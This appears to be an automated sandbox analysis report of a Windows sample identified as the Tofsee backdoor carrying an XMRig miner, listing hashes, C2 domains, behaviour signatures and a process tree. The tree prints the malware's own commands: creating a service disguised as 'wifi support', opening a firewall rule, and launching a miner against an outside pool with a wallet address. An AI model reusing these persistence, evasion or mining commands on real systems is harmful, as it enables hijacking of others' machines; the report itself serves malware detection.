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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 03:53

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General

  • Target

    file.exe

  • Size

    328KB

  • MD5

    572ad96b85d4a1494c07b82ec6da8270

  • SHA1

    eba8ab6dbb408d103c71702ef4c578fe0283cc26

  • SHA256

    baa9b309139f49ebb0c7effd218f496a66bad7f90535452c28123f29f680687f

  • SHA512

    fe89d310e9895cca6ce1334dd323380bd2419f4f26e80a378b60fb9b3c58c4891a40b83487cb7be0369c6b7ce2c929716e7c161ed75b7de0d1c54ed0a72f5806

  • SSDEEP

    3072:wX3mmPtmv31EAV5HTndH1CgaBr3cYsCi7Il+lD3nVLA7XL7EReBA0X8rFc4CqQJK:klmv+AfTyZrsVCujnV+7dBA0Xo27JY

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zfkqaxms\
      2⤵
        PID:3776
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pvnchar.exe" C:\Windows\SysWOW64\zfkqaxms\
        2⤵
          PID:3304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zfkqaxms binPath= "C:\Windows\SysWOW64\zfkqaxms\pvnchar.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zfkqaxms "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zfkqaxms
          2⤵
          • Launches sc.exe
          PID:4940
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1180
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1284
          2⤵
          • Program crash
          PID:2216
      • C:\Windows\SysWOW64\zfkqaxms\pvnchar.exe
        C:\Windows\SysWOW64\zfkqaxms\pvnchar.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4164
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4064
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 532
          2⤵
          • Program crash
          PID:936
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4612 -ip 4612
        1⤵
          PID:460
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4164 -ip 4164
          1⤵
            PID:976

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pvnchar.exe
            Filesize

            11.0MB

            MD5

            b51a1e1148347388502a091824e1df2f

            SHA1

            5641d09386e99f198b38474112e8c94eb59f67c5

            SHA256

            711983bdc3e8782968a226f9d4d683dbe76acb9498b0afbc150634ed984fb45a

            SHA512

            b73d22c4687a1b12db950aeef51f49bde4d34e087c1e50fe98362e9222fdd944a60cc3f45dc9f56c133800017673d808bde3fa7261d0242144abbe2425b7ade9

            Download Submit

          • C:\Windows\SysWOW64\zfkqaxms\pvnchar.exe
            Filesize

            11.0MB

            MD5

            b51a1e1148347388502a091824e1df2f

            SHA1

            5641d09386e99f198b38474112e8c94eb59f67c5

            SHA256

            711983bdc3e8782968a226f9d4d683dbe76acb9498b0afbc150634ed984fb45a

            SHA512

            b73d22c4687a1b12db950aeef51f49bde4d34e087c1e50fe98362e9222fdd944a60cc3f45dc9f56c133800017673d808bde3fa7261d0242144abbe2425b7ade9

            Download Submit

          • memory/1344-159-0x0000000001920000-0x0000000001930000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1344-152-0x0000000000390000-0x00000000003A5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1344-151-0x0000000000390000-0x00000000003A5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1344-156-0x0000000001910000-0x0000000001916000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1344-146-0x0000000000390000-0x00000000003A5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1344-168-0x00000000027D0000-0x00000000027D7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/1344-165-0x0000000007140000-0x000000000754B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/1344-162-0x00000000019F0000-0x00000000019F5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/1344-153-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/4064-172-0x0000000000CD0000-0x0000000000DC1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4064-177-0x0000000000CD0000-0x0000000000DC1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4164-150-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download

          • memory/4164-149-0x0000000000718000-0x000000000072E000-memory.dmp

            Filesize

            88KB

            Download

          • memory/4612-144-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download

          • memory/4612-143-0x000000000057F000-0x0000000000595000-memory.dmp

            Filesize

            88KB

            Download

          • memory/4612-133-0x000000000057F000-0x0000000000595000-memory.dmp

            Filesize

            88KB

            Download

          • memory/4612-134-0x0000000000530000-0x0000000000543000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4612-135-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download